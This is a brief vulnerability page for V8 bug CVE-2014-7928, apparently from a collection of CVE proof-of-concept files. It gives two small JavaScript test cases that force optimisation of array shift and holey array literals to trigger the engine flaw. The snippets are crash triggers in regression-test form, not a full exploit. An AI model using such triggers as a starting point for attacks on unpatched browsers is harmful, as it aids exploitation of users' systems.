CVE-2014-7928.md

CVE-2014-7928

• Date: Jan 2015
• Credit: Christian Holler

PoC

// Flags: --allow-natives-syntax

// Inlining shift with holey smi arrays shouldn't deopt just because it
// encounters the hole on the copy step.
function doShift(a) {
  var x = a.shift();
  return x;
}

function makeArray() {
  var a = [1, 2,, 3];
  a[0] = 2;
  return a;
}

doShift(makeArray());
doShift(makeArray());
%OptimizeFunctionOnNextCall(doShift);
doShift(makeArray());
assertOptimized(doShift);


// Flags: --allow-natives-syntax --verify-heap

function test(x) { [x,,]; }

test(0);
test(0);
%OptimizeFunctionOnNextCall(test);
test(0);

Reference

• Issue